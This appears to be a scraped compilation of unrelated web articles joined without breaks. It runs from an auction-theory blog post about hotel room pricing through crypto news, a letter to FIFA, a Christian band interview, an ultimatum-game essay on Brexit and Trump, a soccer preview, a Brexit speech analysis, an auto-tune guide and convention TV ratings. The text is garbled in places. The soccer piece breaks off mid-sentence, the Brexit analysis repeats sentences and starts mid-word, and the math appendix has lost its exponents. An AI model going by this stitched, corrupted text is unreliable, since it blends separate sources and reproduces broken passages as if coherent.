The hotel clerk explained that rooms were available, at a rate of $250. My friend countered that in his reservation, made weeks before, the rate was $150. Could he get the extra room for that rate?
The clerk explained he could not at the moment–they still had another day to sell the room for the peak rate. So my friend threw out an offer, “Well, let’s say I come back tomorrow evening at 6pm and the room is still available. Could you give it to me for $150?”
The clerk said my friend should check the next day with the manager.
Now ultimately he did not get the extra room, so in a way the negotiation was moot. But from an instructive perspective, the situation serves as an excellent case study in game theory.
There are two noteworthy details.
1. The negotiation over the room was like an ultimatum game. The hotel and my friend were negotiating over the potential surplus for the room. If they didn’t make an agreement in time, the room would go to waste–no surplus for either party.
2. The hotel was not willing to match the rate of the reservation, which presumably was a profitable rate. They risked the room being unoccupied. Why would they rather let a room go to waste than make some money?
This post is going to be about the second point, and the mathematics of auction theory can explain why a hotel might prefer to let its room go to waste on a given night.
Let’s explore why.
Second-price auction
We will take a detour with a textbook example from auction theory. Imagine there are two bidders competing for a single item. The seller offers the item in the following auction. Each person submits a bid in a sealed envelope. The seller then compares the bids. The item goes to highest bidder who pays a price equal to the next highest bid. For this reason the auction is called a second-price auction.
While the auction might sound strange, it is actually similar to how many auctions work. For instance, think about the same auction held on eBay. The item starts at a low price and both people keep submitting bids. What point does the auction end? Well it ends when one person outbids the other. So the price of the item is one bid increment more than the lower bid, and the item ends up going to the person who is willing to submit the higher bid.
Or think about an open outcry auction, also known as an English auction. The auctioneer calls out prices that bidders agree to. When does this auction end? It ends when one person outbids everyone else–so the item sells for one bid increment more than the next highest bid, and the item goes to the person willing to pay more.
It’s a stunning result in auction theory that all of these auctions, and many other schemes, are ultimately variations on a theme, with the item efficiently going to the person willing to bid the most at a price of the next highest bidder. From the seller’s perspective, these auctions are all revenue equivalent in expectation.
So how much money will the auction generate?
The mathematics of even the simplest examples can be daunting. So I will cut to the results and interested readers can read the mathematical appendix.
Imagine there are two bidders who value the item between $0 and $100. Now the revenue for the auction will depend on luck. If the two bidders end up with high values, like $99 and $90, the item will sell for a high price of $90. But the bidders might also have low valuations like $20 and $10, so the item might sell for only $10.
In auction theory, we average out all these cases and calculate the expected revenue. The expected revenue turns out to be $33.33.
In other words, this auction will generate $33.33 in revenue.
Minimum price (aka reserve price)
Now we add another dimension to the auction. Suppose the seller incurs a cost to giving up the item. Let’s say the seller loses $10 when giving up the item. Now clearly the seller won’t just accept any bid. Obviously the seller will put a minimum price of $10 to at least cover costs.
The minimum cost is known as a reservation price. The second-price auction is modified as follows. If both bids are below the reserve price, then the good is simply not sold (“the reserve is not met”). If one bid is higher, but the other is lower, than the good is sold at the reservation price. And if both bids are higher than the reserve price, then the item sells for the second highest bid. (Another way to understand the rules: we can imagine the seller is a third bidder who always submits the reservation price as the bid. Then the auction is exactly a second-price auction with three bidders.)
The reservation price adds a twist to the auction. The higher the reservation price, the more the seller will get when the good is sold. But by the same token, the higher the reservation price, the higher the chance that the bids will be too low and the good will not sell at all.
So what’s the optimal reservation price? Again the math is complicated, so we will state the result and refer interested readers to the mathematical appendix.
It turns out in this case the optimal reservation price is $50. When the two bids are submitted, there are four equally likely scenarios.
–Both bids are too low, so the good is not sold and seller revenue is $0.
–Bid A is too low, but bid B is above the reserve. In this case, the good will be sold at the reservation price of $50.
–Bid A is above the reserve, but bid B is too low. Again, the good is sold at the reservation price of $50.
–Both bids exceed $50. The item is sold at the second highest bid, which is 1/3 of the way on this interval, at $66.67.
The expected revenue will be the average value of these cases, which turns out to be $41.67.
Look at that! Without the reserve, the seller was getting $33.34. Now, the seller gets $41.67, an increase of 25 percent in profit.
Comparing the two auctions, it’s clearly in the seller’s interest to have a reservation price.
The wasted hotel room
There is just one detail about the reservation price that deserves attention. It’s that in 25 percent of the cases the reserve is not met. In other words, 25 percent of the time the good is just not sold and goes to “waste.”
So the reservation price increases the payout to the seller at a potential cost to society if the reserve is artificial–there are times where a profitable trade could have been made but weren’t. By increasing the minimum price, the seller gets the higher valued customers to pay more, and that more than offsets the loss from lower valued customers.
The parallel to the hotel situation is pretty clear. A classy hotel wants to increase its occupancy rate, but it might be better off setting a high reservation price and letting some rooms go to waste.
Now clearly the hotel could earn even more by off-loading the unused rooms at discounted rates. And that’s the idea with websites like Hotwire or Priceline–the hotels offer the rooms confidentially. This avoids them having to discount rooms for higher valued customers while they also get more money from lower valued customers.
So my friend might have had better luck being anonymous rather than directly asking the clerk for a discounted rate.
Mathematical appendix
In the second-price auction, the price paid is equal to the second highest bid. So we first need to determine the optimal bidding strategy. This turns out to be very easy. Each bidder has a weakly dominant strategy to bid their valuation. This guarantees that a bidder (1) never wins if the price is higher than one’s valuation, (2) always wins if the price does not exceed the valuation–which is always profitable for the bidder.
Therefore, each bidder bids their valuation. Knowing this, one can compute the revenue generated–which will be the expected value of the second highest bid. This value will depend on the number of bidders and is equal to the 2nd order statistic of a distribution. In a uniform distribution from $0 to $100, the second order statistic for two bidders is $33.33.
The reservation price affects the auction as follows. Consider a reserve price r with valuations drawn uniformly from [0, 1]. The probability that both bids are too low is r2. There are two ways that exactly one bid is higher than the reserve, and so this happens with probability 2r(1 – r). The final case is when both bids are above the reserve, with probability (1 – r)2.
Now we write out the expected revenue for each case. When both bids are too low, the revenue is 0. When exactly one bid is above the reserve, the price paid is the reserve. When both bids are above the reserve, the expected revenue is the second-order statistic given that both bids are above the reserve. This is 1/3 of the way between the reserve and the value of 1, which is r + (1 – r)/3 = (1 + 2r)/3.
The expected revenue can be written as a function of the reserve, and we’ll maximize this function.
E(r) = r2($0) + 2r(1 – r)($r) + (1 – r)2($1 + $2r)/3 E(r) = 2r2 – 2r3 + (2/3)r3 – r2 + 1/3 E(r) = -(4/3)r3 + r2 + 1/3
Taking the derivative and setting it equal to zero, we find this function is maximized at r = 1/2 with a revenue of 5/12.
If we scale this to the example of $0 to $100, then the optimal reserve is $50 with revenue of $41.67.
This was just a small introduction to auction theory. For further reading, here is an excellent resource.
Chapter 9 of Networks, Crowds, and Markets: Reasoning about a Highly Connected WorldDecentralized JavaScript Blockchain application platform Lisk has announced its first-ever major release, Lisk Nano 1.0.
Introduced by lead developers Max Kordek and Oliver Beddows yesterday, the public release debuts a number of new features and performance enhancements for users.
“Lisk Nano 1.0, which offers a streamlined user experience and enhanced performance, takes the crypto community a step closer to the innovative, safe, and seamless blockchain application platform outlined by Lisk since day one,” Kordek said about the release, which he added was a “key milestone.”
Lisk has seen considerable hype since the start of the year, along with many of the top altcoins benefiting from huge token price gains in a short time.
The project’s LSK token is up over 1,600 percent versus its trading price at the start of January.
“Our community is also essential to our growth and their support will be the only way to achieve our goals over the coming years,” Kordek continued.
“We are thankful for all the support, demonstrated passion and continued interest that the Lisk community showcases. We look forward to achieving our goal of establishing a widely used, next-generation blockchain application platform.”
Various minor upgrades paved the way for the 1.0 unveiling, which Cointelegraph reported on in February and April.
Lisk is currently part of Switzerland’s Crypto Valley initiative, a group of Bitcoin and Blockchain companies aiming to increase awareness of decentralized technology from their base in the Swiss town of Zug.Separation of sports and politics
Sepp Blatter doesn't want politics to taint the beautiful game. But why does FIFA turn the bidding for the World Cup into a game of politics?
You have been called many unpleasant things in recent days. You've been accused of being corrupt, incompetent, a litany of things not fit for print, and everything in between.
Now it's my turn: You're hypocritical.
Believe it or not, none of my feelings have anything to do with awarding the World Cup to Russia and Qatar, no matter how superior other candidates were. What set me off was a remark by your secretary general, Jerome Valcke. Just days after you awarded the next two World Cups, he told the Agence France-Presse news agency that it had been "a political decision to open up onto the world." And that, in fact, bringing the tournament to South Africa was a decision based on political considerations, too.
Valcke's boss, FIFA president Sepp Blatter, reiterated that point to Swiss magazine Weltwoche a few days later. "Football has become a political matter," he said. "Heads of state court me. Football has become a monster, but it's a positive monster."
How, exactly, is that, Sepp?
How can you say your organization is making "political" decisions when you have long come down hard on any political tainting of the sport? You don't have to answer right now, I know you've got other pressing matters.
Remember when FIFA refused to move the 1978 World Cup away from Argentina, where a murderous regime had just taken over in a military coup, because you didn't engage in politics? Remember when, following France's embarrassing World Cup player strike and ouster this summer, you warned the country that "political interference" would not be tolerated? You even went so far as to say that French president Nicolas Sarkozy's pledge to investigate what had gone wrong in South Africa could lead to a suspension of the national team from international competition.
Any of this ring a bell?
You pounded your chest, Sepp, and told the press that "political interference will be dealt with by FIFA notwithstanding what kind of interference and what is the size of the country."
On Oct. 4, you suspended Nigeria indefinitely "on account of government interference." You shut down a national program and banned club teams from competing outside of Nigeria's borders because the courts were meddling in the affairs of the soccer federation. Although the ban has been provisionally lifted, you appear to be days away from subjecting Ghana to the same suspension, and for the same reason.
You just couldn't stomach the confluence of soccer and politics. I get it.
So where did you come up with the brilliant idea that it is advisable to turn the World Cup bidding process into an overtly political process? And to publicly acknowledge such, to boot? When did you decide it was a good thing to cast aside the most technically strong proposals, such as the ones put forth by England and the U.S., for your signature event?
The hypocrisy that has permeated your organization manifests itself in the voting process for World Cups, too. Even if you put aside the outcome of the latest round of voting, you can't help but be shocked when you, FIFA, demand transparency from your member federations -- that they be run cleanly and independently from political influence -- while your own way of doing business is so opaque. Twenty-four men get together in a room and, well, who knows what goes on? Then you announce a winner. All that's missing is for white smoke to billow from the chimney after you make the decision.
Valcke, in another gem, called the bidding process "perfectly organized, perfectly transparent and perfectly under control." But how could it possibly be that when, until this latest round of selections, you wouldn't even disclose the number of votes gained by each bid?
And since we still don't know who voted for whom, we also are in the dark about which alliances existed and who switched votes in what round. Ah, said Valcke, but you don't find out who voted for whom in a political election, either.
Yes, but single votes have a much smaller impact in political elections when there are millions of others voting. But when just two dozen people get to dole out billions of dollars in revenue without oversight or accountability, you invite corruption.
It makes you look like a bunch of amateurs, an old boys' club clinging to your power.
The solution is quite simple: Stop punishing countries for political interference when it is unavoidable and, quite clearly, is something that you, by your own admission, are far from immune to. It's pretty clear by now that a separation of sport and politics is a pipe dream. And stop giving 24 men more authority than they should have. Cast your bigger net, and require the top 20 officials of each of your 208 member federations around the world to vote in the World Cup bidding process. Tell them their votes will be made public. And then follow up.
It's the only way you can start to regain the credibility you've lost.
Sincerely,
Leander Schaerlaeckens
Dismayed soccer fanConversation: Leeland and Jack Mooring
Opposites attract... the lost
Since bursting onto the Christian music scene in 2006 with the Grammy-nominated Sounds of Melodies, alt-worship outfit Leeland — led by brothers Leeland Mooring and Jack Mooring — has been at the forefront of a powerful youth worship revolution. The band’s sophomore release, Opposite Way, spawned a challenging title track and subsequent online movement geared toward turning the hearts and minds of a generation toward God.
Chad Bonham, a frequent freelance writer for Today’s Pentecostal Evangel, caught up with Leeland and Jack during a brief break from the road to find out more about their unique spiritual upbringing and their ideas on how teenagers can reach their peers with the gospel.
tpe: What are some of your fondest memories of growing up in church?
JACK: Our parents were music ministers at various Spirit-filled churches. So we practically grew up in choir practices. Mom would have us help teach the choir their parts. We also listened to a lot of black gospel music. When we started the band, people assumed we were listening to groups like Audio Adrenaline and Newsboys, but we’d say, “No, we listen to John P. Kee and Kirk Franklin.”
LEELAND: Our parents constantly made us aware of the tangible presence of God, and not just at church. That’s what changed them when they were young. It wasn’t church; it was the presence of God. So as young kids, my fondest memories were being around some of the ministers and musicians my parents knew and having them lay hands on me and prophesy destiny into me and Jack and my little sister’s lives. I remember so many times when I was at the altar in the presence of God. And I always enjoyed being on the stage and worshipping with my parents and leading worship.
tpe: Does your church upbringing make you different from other Christian bands?
JACK: It seems not a lot of people come from a charismatic, Spirit-filled background into contemporary Christian music. On the other hand, we’ve learned how similar we are to everybody else. God started to teach us that He can use anybody, and you don’t have to share the same theology that I do.
I’m glad for our heritage because I think a lot of kids in Christian music are missing out if they’re devoid of the gifts of the Holy Ghost. What changed us, what molded us as a band, wasn’t just going to church. It wasn’t just youth group. It was being in the altar and experiencing the anointing and the presence of God. We want to bring that to Christian music in a new way and have kids experience the Holy Spirit and not just experience songs or worship moments.
Growing up, we went to churches that didn’t care as much about the schedule as they did about the presence of God. If God moved, the service might go 2½ hours. In the churches we visit today, I would love to see a lot more people grab hold of that kind of ministry. Some of my best friends got their lives radically changed in a 2½-hour service, and they loved it. The Holy Spirit moved, and the presence of God was there. We want to bring that to Christian music in a new way and really just make sure that the kids are experiencing the Holy Spirit and not just experiencing songs or worship moments.
tpe: What was the inspiration behind Opposite Way?
LEELAND: We came into the studio with the sense that young people have a huge hunger to be part of something much bigger than themselves. They have a huge hunger to be used by God in a dramatic way. The idea for Opposite Way was just a verse and a chorus at the time. We kept listening to it, and the Spirit of God just came in and showed us that this was the message He wanted us to share through this record.
We really prayed about it and sought God, and He blessed the whole three or four weeks we were in the studio. We were writing and finishing songs left and right. Being the “opposite way” isn’t just trying to look different from the world or making a conscious effort to be weird. It’s about following the heart of God and following Jesus. Out of your walk with God and your love for God, eventually you’re going to look and act differently from the world.
tpe: What are some of the issues you’ve seen your peers struggle with?
JACK: We were in Michigan, and this speaker had the kids write down on a sheet of paper their secrets. Volunteers brought the sheets to him at the podium, and he began to read them out loud. The first thing he read was, “I hate my father because he left me.” The second thing was, “I cut myself.” The third thing was, “I was raped recently.” The fourth one was, “I struggle with anorexia.” All of them were serious, deep things.
You hear that stuff all the time, and the only solution for that is for these kids to experience the presence and the love and the grace of God in a way that’s going to totally transform their lives. That’s what the Opposite Way campaign is all about. And we’re starting to hear stories from kids on our Web site about how God’s using them.
tpe: What are some practical ways teens and young adults can walk the “opposite way”?
LEELAND: In our schools, a lot of kids have a negative view of Christianity. So for Christian kids, they can show their friends Jesus. They don’t have to preach the message down their throats, but they can show them Jesus by being kind and by being encouraging. Don’t compromise your faith, but let your life overflow with the love of God. Eventually it will be — as the Bible says — like heaps of burning coals on your enemy’s head, and it’s going to open the door to an encounter with them. They’re going to want to know what it is that you have that makes you different and what gives your life joy and purpose.
JACK: Another practical thing to do is, if someone has a headache, pray for them. Believe that God can heal them. Small things like that might not seem like a huge deal, but it’s being obedient to God. And to Him, it’s a very big deal.
E-mail your comments to tpe@ag.org.One of the most interesting experiments in economics is known as the ultimatum game. It deftly gets at a fundamental truth of human nature — about how our deep emotional programming cause us to do things that, when viewed through the lens of rationality, just don’t make sense.
The game itself involves two players. The first player receives a sum of money, and gets to propose how to divide it between the two players. The second player can do only one thing: accept or reject the proposal. If the second player accepts, then the money is divided between the two players as proposed.
But if the second player rejects the proposal, then neither player gets anything.
Approaching the game from a rational economic perspective, the second player should accept any proposal that involves an offer of anything — because the alternative, of course, is to receive nothing.
But that’s where things get interesting. It’s not how people behave at all.
Instead, research shows that we reject offers we consider unfair. Although this varies depending on culture and other factors (there’s even been a version of this research played where both participants were intoxicated), this general trend holds true.
Of all the explanations for this behavior, it’s the neurological ones that are most interesting. One experiment placed participants in an MRI imaging machine while they were playing. Offers perceived as stingy light up the anterior insular cortex, a region associated with disgust.
In other words — when it comes to dividing the pie, we don’t behave rationally. We behave emotionally.
This is instructive in explaining Brexit and Trump. There’s been disbelief at the outcomes in both the UK and the US: “How could people vote to burn the house down?! How could they be so stupid?!”
These reactions seem to miss something very fundamental about what’s happening here.
Policies such as trade, globalization and immigration have all been proven to be of great global economic benefit. Look at the impact they have had on global poverty:
The rise of China tracks closely to the above chart; and it shows just how much trade and globalization has done to lift billions out of poverty.
But while China and the developing world have benefited enormously from trade, so too has the developed world. The benefits of comparative advantage are real. But the question then becomes: for every extra dollar that has accrued to the US and the UK, who has been the beneficiary?
Here’s a hint: it’s not the people who are voting for Trump and Brexit. These folks don’t care about the chart above, or what it represents as an accomplishment for humanity.
It’s not their chart.
This is their chart, and they’re not on the lines that are going up.
This represents the game of ultimatum that is going on right now. Structurally, there’s been plenty of economic growth inside the US — vastly increasing the pile of money to be divided. But these charts also hint at who the players are in the game.
The first player consists of those people inside the US and UK who have benefitted from globalization and trade: the “elites”, derisively referred to as “the 1%”.
And the second player? That’s everyone inside the United States and the United Kingdom who aren’t in those upper income echelons. They’re all the lines in the second chart that aren’t going up.
These folks are seeing the pile of money in the game growing ever bigger. And they’re also watching on, as the other player keeps an ever-larger share of that pile for themselves.
Now, it’s tempting to adopt a humanist argument: that it’s OK to sacrifice these folks for the greater good. You see this argument all the time: that what is happening in the first chart makes what is happening in the second chart acceptable. That dragging China and the world out of poverty makes it OK for America’s middle class to suffer.
Putting aside how incredibly tone deaf it is for those who are benefiting inside the developed world to point at the collateral beneficiaries in China as a rationale for continuing the policies that have led us to this place (I’m sure benefiting China’s poor was their real motivation all along), there’s something else that needs to be said:
It’s just plain wrong.
The choice is a false one. The benefits from trade and immigration and globalization are so huge, even for developed countries, that should it have been managed properly, everyone inside of these countries would be doing better than they otherwise would have.
But they’re not, because it’s not been managed well. And now, we’re staring the barrel of all it all disappearing because one player is being greedy about it.
In the aftermath of the Brexit vote and the lead up to the Republican National Convention, there’s been talk of undoing what has happened; about not giving Trump the nomination; or ignoring the non-binding referendum that’s happened in the UK.
I understand both arguments. And from a rational perspective, they’re outcomes that I want. Given the fact you’re reading this, they’re probably outcomes you want, too. But what’s been missing from this dialogue so far is that a recognition of our role in this game. We want these outcomes because we’re the first player, and we want to keep proposing the same old deal because we just expect the second player to keep taking whatever it is we give them.
Doing this would be an incredibly dangerous path to walk down. The folks on the other side of this game of ultimatum have watched the tide of globalization wash over the world and lift up everyone else’s boat but their own.
Trump and Brexit have allowed them to channel their feelings into a rejection of the proposal that has been made — on trade, immigration, and globalisation, and dividing up those spoils.
To simply ignore their voice would be a huge mistake. Any time a small group benefits too much at the expense of a larger one, the outcome typically involves the “r word.” (Revolution.)
Fortunately inside the US and the UK, for the most part, this depth of feeling is all being channeled through the ballot box. But to steal Trump’s crown, no matter how illegitimate you think he is, or to ignore the outcome of a democratic referendum… well, what comes when the ballot box no longer works?
These votes on Brexit and Trump that are being so widely decried need to serve as a wake up call. Yes, trade, globalisation, immigration are good things. They have grown the pie immeasurably.
But playing the ultimatum game and screwing the second player — those folks being screwed won’t care how much the pie is being grown if they feel they’re not getting a fair slice.
They’ll throw the whole thing out.
This article is part of Quartz Ideas, our home for bold arguments and big thinkers.An away goal for Ottawa could well be the death blow for the Whitecaps on Wednesday.
If the Fury score at B.C. Place, the Caps will need four to overcome the North American Soccer League club and avoid an embarrassing exit in this semifinal stage of the Amway Canadian Championship.
That’s the scenario after Ottawa claimed a deserved 2-0 first-leg win at TD Place last Wednesday. Away goals are the first tie-breaker, so even a 3-1 victory for Vancouver at the Dome would see Ottawa advance to face either Toronto or Montreal in the final.
But the Caps on Monday didn’t sound like a team too concerned with conceding another goal.
Coach Carl Robinson is expected to field his best 11 — not counting the guys away on international duty — and his players have one thing on their mind.
“We’re at home,” said left-back Jordan Harvey. “We’re going to be gunning for them, man.”
Harvey was among the regular starters rested by Robinson in the first leg as the coach went with a young, Canadian-heavy lineup in the nation’s capital.
Aside from a good showing from rookie centre-back Cole Seiler and a first-team debut for 15-year-old Alphonso Davies, there wasn’t much to praise. And now it’s down to the established MLS guys to clean up the mess.
They are more than capable of doing so, although the Caps are now badly exposed to crashing out of this tournament on a bit of bad luck or a tough call, even if they play well Wednesday.
“If they get an away goal it obviously changes things,” said Harvey. “You don’t want to act like it’s the last five minutes of a game (from the start) but at the same time we have to get some goals.
“After that last game, I’ve been eager to get back on the pitch and play in this (second leg) and hopefully that happens.”
Robinson had most of his first-team regulars training together on Monday at B.C. Place, although winger/forward Kekuta Manneh was on the sideline getting treatment for a lower body injury.
Assistant coach Gordon Forrest said after practice that he expected Manneh to be available for the game.
Centre-back Pa-Modou Kah was working out with strength and conditioning coach Jon Poli, so a defensive partnership of Tim Parker and Andrew Jacobson seems likely with Kendall Waston off with Costa Rica at the Copa America (where, by the way, he saw a straight red card in the fourth minute of stoppage time against Paraguay).
Waston and Octavio Rivero — the latter dinged by the MLS Disciplinary Committee — will be serving bans when the Caps return to MLS action, but Robinson has Rivero available for the second leg against Ottawa, along with the Caps’ other two designated players: captain Pedro Morales and Matias Laba.
That trio of DPs has to step up and dominate Wednesday, although, as last year showed, these games have a way of celebrating unlikely heroes.
It was Laba, the most defensive of midfielders, who rescued the Caps from embarrassment in Edmonton and they went on to beat Montreal in the final, hoist their first Voyageurs Cup, and qualify for the CONCACAF Champions League in the process.
Parker, a centre-back, scored in the final.
“We can’t take away from what Ottawa did in that first leg,” said Parker. “They got the better of us. But that’s a little bit our own fault and we have to remember that when we come into the game Wednesday.
“Ideally, we don’t want to give up a goal at home, especially in the circumstances that we’re in, but I think with the guys we have we’re more than capable of scoring a lot of goals.”
Ottawa will arrive in Vancouver with a two-goal lead and a stronger lineup than the first leg, when ex-Caps Jonny Steele and Paulo Jr. provided the goals.
Canadian international midfielders Julian de Guzman and Marcel de Jong have both rejoined the Fury from Canada’s camp in Austria.
Like the Caps, the Fury will have to strike the right balance in their approach to this leg. One well-executed counter-attack might well put them in the final. But invite too much pressure and it will feel like a long 90 |
closer to reaching the ‘sufficient progress’ threshold? On, she simply observed that both sides wanted to avoid a ‘hard border’, but said nothing new about that. The UK’s proposals on novel customs methods to address the issue (by the government’s own admission) ‘blue sky thinking’, but she did not further flesh them out.
EU27 citizens, she committed to setting out the withdrawal agreement into UK domestic law, and permitting the UK courts to take account of relevant ECJ case law. But this goes no further than the draft On the issue of, she committed to setting out the withdrawal agreement into UK domestic law, and permitting the UK courts to take account of relevant ECJ case law. But this goes no further than the draft EU Withdrawal Bill, which already assumes (in Clause 9) that the withdrawal agreement will be transposed in domestic law and sets out (in Clause 6) that pre-Brexit ECJ case law binds lower courts (but not the UK Supreme Court, the government or Parliament) and that post-Brexit ECJ may be considered at a UK court’s discretion. While the Prime Minister made much of the excellence and independence of UK courts, she failed to mention the embarrassing recent refusal of the Home Secretary to give effect to a court order. So the EU27 side will still press for the ECJ’s involvement. Nor did she make any concessions as regards the substance of the law.
financial issues the Prime Minister said in effect that the UK would pay into EU funds to the end of the current EU budget cycle in 2020, during a transitional period after Brexit Day in March 2019 (see below). She also stated that the UK would honour commitments made during EU membership, although it is not clear if this is a reference to the broader issue of the UK’s share of costs in cases where the EU made a commitment in one year and paid for it in a later year. There are also other financial issues (off-budget funds, pensions, UK share of liability for loans that might not be paid). Onthe Prime Minister said in effect that the UK would pay into EU funds to the end of the current EU budget cycle in 2020, during a transitional period after Brexit Day in March 2019 (see below). She also stated that the UK would honour commitments made during EU membership, although it is not clear if this is a reference to the broader issue of the UK’s share of costs in cases where the EU made a commitment in one year and paid for it in a later year. There are also other financial issues (off-budget funds, pensions, UK share of liability for loans that might not be paid).
transitional period after Brexit Day of about two years, when the UK and EU would still trade on the same basis and apply the same security arrangements. The UK would still cease to be a formal EU Member State on Brexit Day – ceasing to participate in the EU’s political institutions – although some role for the ECJ seemed to be implicitly conceded. It should be noted that the EU27 side is also open to discussing a short transitional period as long as EU frameworks of enforcement, et al (including the ECJ) continue to apply. So there is broad agreement on the notion of a transitional period – subject to discussion of the details. More broadly, the Prime Minister supported the idea of aafter Brexit Day of about two years, when the UK and EU would still trade on the same basis and apply the same security arrangements. The UK would still cease to be a formal EU Member State on Brexit Day – ceasing to participate in the EU’s political institutions – although some role for the ECJ seemed to be implicitly conceded. It should be noted that the EU27 side is also open to discussing a short transitional period as long as EU frameworks of enforcement, et al (including the ECJ) continue to apply. So there is broad agreement on the notion of a transitional period – subject to discussion of the details.
What about those details? Mrs May offered little about the substance, stating that EU27 citizens could still come to the UK during the transitional period but would have to register – as already permitted by the EU citizens’ Directive (see Article 8). Presumably the UK would have a customs union with the EU for the transitional period, although she said it would start to negotiate trade deals with non-EU countries. The transitional period could be terminated early on specific issues, for instance dispute settlement – an indication that the UK wants to end involvement with the ECJ as soon as possible.
Comments
Despite the attention paid to Mrs. May’s speech, the key question is whether the details of the UK’s negotiation position have changed. In particular, movement on those financial issues which were not expressly mentioned will be crucial determining whether talks move forward to trade issues in October. But the issue on enforcement of EU27 citizens’ rights will still remain a stumbling block, and the EU side will likely want to see some clarification of the UK’s proposals on customs and the Irish border.
The tone of the Prime Minister’s speech may help. It was civil, emphasising the importance of a future partnership between the UK and the EU, ruling out a rush to lower UK regulatory standards and with only brief mention of the discredited "no deal is better than a bad deal" mantra.
If the talks do move forward to transitional issues, this means there is no immediate need to discuss the technical questions of winding down UK/EU relations as of Brexit day, although they would still have to be discussed at some point if the UK and EU are going to change the substance of their relationship after that date. But this will mean that difficult issues of principle relating to the transitional period will have to be discussed.
What exactly is the transition period a bridge to? Which EU laws (if any) will no longer be applied? What if the transition time frame isn’t long enough? Would the UK be bound by new ECJ rulings during this period? Would it apply new EU legislation? Would the UK be consulted on it if it does? Would EU law apply in the same way as it does as an EU member? While the Prime Minister was anxious to rule out the ‘Norway model’ of EU/UK relations, the transitional period would nevertheless look somewhat like that model – except it appears that the UK would apply even more EU law than Norway does.
Overall, the Florence speech makes it somewhat more likely – but still far from certain – that there will be a conclusion to the Brexit talks, with no immediate ‘cliff edge’ for either side on Brexit Day. As always, the devil will be in the detail.
Barnard & Peers: chapter 27
Photo credit: The TelegraphPitch correction software has applications from restoration and mix-rescue to outright distortion of a voice or instrument. I’ll discuss some of the more tasteful uses of these auto-tune tools (whether the original from Antares, or a variant like the free GSnap) below. But first I thought I’d highlight their misuse to illustrate the effects we usually try to avoid.
So, listen here to 10 of pop music’s most blatant auto-tune abuses:
If you’re unfamiliar with Auto-tune, and especially if you listen to much pop and rock, you might not hear it initially. When overdone, the effect yields an unnatural yodel or warble in a singer’s voice. But the sound is so commonplace in modern mainstream music that your ears may have tuned out the auto-tune!
The songs in this clip, in order, and the phrases most affected by auto-tuning to help you spot them:
Dixie Chicks – The Long Way Around – Noticeable on “parents” and “but I.”
T-Pain – I’m Sprung – Especially obvious on “homies” and “lady.”
Avril Lavigne – Complicated – Listen to “way,” “when,” “driving,” “you’re.”
Uncle Kracker – Follow Me
The whole vocal sounds strained, but especially the word “goodbye.”
Maroon 5 – She Will Be Loved – Listen for “rain” and “smile.”
Natasha Bedingfield – Love Like This – “Apart” and “life.”
Sean Kingston – Beautiful girls – “OoooOver” doesn’t sound human.
JoJo – Too Little Too Late – Appropriately, “problem” stands out.
Rascal Flatts – Life is a Highway
Every vocal, foreground and background, is treated, but “drive” in particular.
New Found Glory – Hit or Miss – “Thriller”, and every time Jordan sings “I.”
The Cher Effect
When used noticeably, an auto-tuner produces what most call “The Cher Effect“, named for her trademark sound in the song Believe*. (In essence, we named the effect like scientists naming a new disease after its first victim.) Treated this heavily, a vocal track sounds synthetic, and obviously processed.
But not all auto-tuning is so blatant. In the sample above, it’s harder to hear the pitch correction on Uncle Kracker and Avril than on T-Pain and Bedingfield.
Tasteful Uses
As with any tool, a little care can yield great results. Some simple things to keep in mind about pitch correction tools:
Performance: Most importantly, an auto-tuner isn’t a shortcut to a perfect performance. If you can’t sing the song properly, no amount of post-processing will make it sound like you did. So when your pitch matters, and you don’t want to correct it with an effect, you’ll need to work on your performance until it’s right.
Most importantly, an auto-tuner isn’t a shortcut to a perfect performance. If you can’t sing the song properly, no amount of post-processing will make it sound like you did. So when your pitch matters, and you don’t want to correct it with an effect, you’ll need to work on your performance until it’s right. Less is more: The fewer notes you correct, the less obvious your use of an auto tuner will be. Consider automating the plugin so it acts only when most needed.
The fewer notes you correct, the less obvious your use of an auto tuner will be. Consider automating the plugin so it acts only when most needed. Graphical mode: If your pitch correction software offers a graphical mode (like Antares Auto-Tune and Melodyne,) learn how to work with it. The default “auto” modes are OK for basic corrections, but often produce noticeable yodeling.
If your pitch correction software offers a graphical mode (like Antares Auto-Tune and Melodyne,) learn how to work with it. The default “auto” modes are OK for basic corrections, but often produce noticeable yodeling. Backing vocals: In general, you can get away with more pitch correction on backing vocals than lead vocals.
In general, you can get away with more pitch correction on backing vocals than lead vocals. Outdated: Obvious vocoder-style autotuning is dated, and borders on kitschy. The synthetic warbling vocal sound marks songs as having come from a specific era, the same way gated-reverb on drums instantly places a song in the 1980’s. Remember: If you make the auto tuner obvious, people will say your song uses “the Cher effect.” Let this be a guideline.
Be sure it’s needed
Two songs have auto tuners on my mind today: Snoop’s Sensual Seduction (because of Anil Dash’s ruminations on the death of the analog vocoder,) and Natasha Bedingfield’s Love Like This, which I heard on the radio. In the former, the auto tuner is clearly a gimmick. But every time I hear Bedingfield’s song, I’m struck by the same question: Why do that to her voice?
She’s a fantastic singer, and once you’ve heard the song without the cheesy auto tuner effect, it’s hard to take the radio single seriously.
And there’s a lesson in that for home recordists, (even those of us who don’t write pop music,) which echoes the rule of mixing: If an effect significantly changes the sound of a track, especially one so important as the lead vocal, be sure that change improves the song before committing it to the mix.
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See Also: The Rule of Mixing
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Tags: freeplugins, mixingNEW YORK (AP) — The second night of the Democratic National Convention beat the Republicans in television ratings and, perhaps more impressively, beat pro football.
An estimated 25.1 million people watched the convention between 10 p.m. and 11 p.m. on Wednesday, when former President Bill Clinton delivered an impassioned nomination speech for President Barack Obama, the Nielsen ratings company said.
During that hour, just over 20 million people were watching the second half of the Dallas Cowboys' season-opening victory over the New York Giants. Faced with competition from Clinton, ratings for football's first game were down from the past two years.
The second night of the GOP convention in Tampa, Fla., last week, featuring vice presidential candidate Paul Ryan, was seen by 21.9 million people, Nielsen said Thursday.
Democratic convention ratings held up well compared to 2008, when interest was particularly high. The Democrats had a four-day convention then, with 25.9 million viewers on the second day and 24 million on the third. None of those nights faced competition from pro football.
The entire football game was seen by an average of 23.9 million people on NBC, Nielsen said. Last year's opening game was seen by 27.1 million, and 2010's game had a record 27.5 million. The opening game generally features the Super Bowl champion from the year before.
Competition among the TV networks televising the Democratic convention in Charlotte, N.C., on Wednesday was about as tight as polls show the presidential race between Obama and Republican Mitt Romney.
ABC had the biggest audience, with 4.59 million viewers. CBS had 4.41 million, MSNBC had 4.39 million, CNN had 4.13 million, PBS had 4.1 million and Fox News Channel had 3.1 million, Nielsen said.
Current TV and C-SPAN also showed the convention. Nielsen had no immediate estimate of Current's viewership, and C-SPAN's audience is not measured by the ratings agency.
